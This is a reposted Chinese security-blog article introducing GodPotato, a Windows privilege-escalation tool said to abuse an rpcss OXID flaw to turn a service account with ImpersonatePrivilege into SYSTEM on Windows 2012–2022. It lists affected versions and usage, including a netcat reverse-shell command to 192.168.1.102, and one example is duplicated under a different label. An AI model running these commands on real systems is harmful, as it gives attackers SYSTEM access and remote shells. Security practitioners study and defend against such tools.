GodPotato - “可以在Windows 2012-Windows 2022中实现提权”
2023-6-22 12:6:6 Author: Ots安全(查看原文) 阅读量:98 收藏

关注我们 | 发现更多精彩内容

基于Potato提权6年的历史，从RottenPotato开始到JuicyPotatoNG结束，我通过研究DCOM发现了一个新技术，它可以在Windows 2012-Windows 2022中实现提权，现在只要你有” ImpersonatePrivilege”权限。那你就是“NT AUTHORITY\SYSTEM”，通常WEB服务和数据库服务都有“ImpersonatePrivilege”权限。

Potato提权通常在我们获取WEB/数据库权限时使用。我们可以将具有低权限的服务用户提升到“NT AUTHORITY\SYSTEM”权限。但是，历史悠久的Potato已经没有办法在最新的Windows系统上运行了。我在研究DCOM的时候，发现了一种可以进行提权的新方法。rpcss在处理oxid时存在一些缺陷，rpcss是系统必须开启的服务。，因此它几乎可以在任何 Windows 操作系统上运行，我将其命名为 GodPotato

受影响的版本

Windows 服务器 2012 - Windows 服务器 2022 Windows8 - Windows 11

例子：


    FFFFF                   FFF  FFFFFFF   FFFFFFF                  FFF  FFFFFFFF  FFF  FFFF                 FFF  FFF   FFF             FFF                  FFF  FFF   FFF                 FFF  FFF   FFF             FFF                  FFF  FFF   FFF                 FFF  FFF   FFF             FFF                  FFF FFFF        FFFFFFF   FFFFFFFF  FFF   FFF  FFFFFFF  FFFFFFFFF   FFFFFF  FFFFFFFFF    FFFFFF FFFF       FFFF FFFF  FFF FFFF  FFF  FFFF FFFF FFFF   FFF      FFF  FFF    FFF      FFF FFFF FFFF FFFFF FFF   FFF FFF   FFF  FFFFFFFF  FFF   FFF   FFF      F    FFF    FFF     FFF   FFF FFFF   FFF FFF   FFFFFFF   FFF  FFF      FFFF   FFF   FFF         FFFFF    FFF     FFF   FFFF FFFF   FFF FFF   FFFFFFF   FFF  FFF      FFFF   FFF   FFF      FFFFFFFF    FFF     FFF   FFFF  FFF   FFF FFF   FFF FFF   FFF  FFF       FFF   FFF   FFF     FFFF  FFF    FFF     FFF   FFFF  FFFF FFFF FFFF  FFF FFFF  FFF  FFF       FFF  FFFF   FFF     FFFF  FFF    FFF     FFFF  FFF   FFFFFFFF  FFFFFFF   FFFFFFFF  FFF        FFFFFFF     FFFFFF  FFFFFFFF    FFFFFFF  FFFFFFF    FFFFFFF   FFFFF     FFFFFFF  FFF         FFFFF       FFFFF   FFFFFFFF     FFFF     FFFF

Arguments:
        -cmd Required:True CommandLine (default cmd /c whoami)
Example:
GodPotato -cmd "cmd /c whoami"

使用程序内置的Clsid进行提权，执行一个简单的命令

GodPotato -cmd "cmd /c whoami"

自定义 Clsid 并执行命令

GodPotato -cmd "cmd /c whoami"

执行反向 shell 命令

GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"

项目地址：https://github.com/BeichenDream/GodPotato

感谢您抽出

.

.

来阅读本文

点它，分享点赞在看都在这里


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247499178&idx=3&sn=bc04edfeed7dcaee4998e962716a4591&chksm=9badb4e1acda3df75681496d9526868facfe4ec6fc601a8c86de560b68ade3a6066c894f9b66#rd
如有侵权请联系:admin#unsafe.sh